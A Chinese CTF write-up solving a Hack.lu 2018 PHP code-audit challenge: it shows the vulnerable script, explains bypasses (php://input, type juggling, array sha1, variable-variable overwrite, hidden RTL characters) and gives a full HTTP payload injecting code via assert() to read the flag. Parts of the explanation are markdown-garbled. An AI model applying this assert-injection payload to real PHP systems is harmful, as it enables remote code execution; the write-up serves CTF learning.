2018 Hacklu的一道代码审计

一道代码审计题,看的我头痛【我的PHP实在是太菜了Orz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php

require_once('flag.php');
error_reporting(0);


if(!isset($_GET['msg'])){
highlight_file(__FILE__);
die();
}

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
die('Wow so rude!!!!1');
}

echo "Hello Hacker! Have a look around.\n";

@$k1=$_GET['key1'];
@$k2=$_GET['key2'];

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
die("lol no\n");
}

if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}

list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}

$‮b = "2";$a="‮b";//;1=b

if($$a !== $k1){
die("lel no\n");
}

// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

echo "Good Job ;)";
// TODO
// echo $flag;

看到\(_GET['msg']**和**file_get_contents(\)msg)!=="Hello Challenge!"就知道需要使用php://input伪协议来POST一个Hello Challenge!绕过。

intval($k1) !== $cc || $k1 === $cc就需要key1=1337

后面的strlen($k2) == $bbpreg_match('/^$/', $k2) && !is_numeric(\(k2)**和**\$k2 == \$cc**需要注意的一点是**$**是全角字符而非半角字符,所以它会匹配**$**,而不是把它当做一个正则表达式来执行匹配规则【好大的坑,我当初手打的**\)在本地测试了半天。。。然后就是key2输入的字符串长度需要是42,而PHP的弱类型比较只会截取前面是数字的部分,后面包括的部分会被截断,因此构造的是key2=1337%ef%bc%8411111111111111111111111111111111111

然后交换k1k2的值,并从\(cc**截取从**\)bb42开始到末尾的长度的字符串,并与自身的sha1加密的值比较,这里只需要使得$cc是个数组就行了,数组sha1得到的值是null,而字符串截取到空也是null,得以绕过。

然后的**foreach ($_GET as $lel => $hack){$$lel = $hack;}会将传入的变量和值不用$_GET相应的变量就可以被创建赋值,接下来的一句,推测是用了那种Unicode控制字符使其倒序,正序结果是$b = "2";$a = "b";//b=1;。因此构造的是cc[]=42&k1=2**。

最后的assert_options(ASSERT_BAIL, 1);是开启断言语句失败的时候继续执行指令,然后assert可以通过注释后面的语句来造成命令执行,因此传入bb=var_dump($flag);//

最后构造的Payload

1
2
3
4
5
6
7
8
9
10
11
POST /?msg=php://input&key1=1337a&key2=1337%ef%bc%8411111111111111111111111111111111111&cc[]=42&k1=2&bb=var_dump($flag);// HTTP/1.1
Host: arcade.fluxfingers.net:1819
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

Hello Challenge!

得到flag

1
2
Hello Hacker! Have a look around.
string(38) "flag{7c217708c5293a3264bb136ef1fadd6e}"